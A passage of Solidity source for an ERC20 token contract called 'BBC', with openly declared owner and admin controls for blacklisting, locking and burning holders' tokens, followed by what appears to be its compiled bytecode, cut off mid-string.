Approval(address indexed owner, address indexed spender, uint256 value); } contract BBC is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c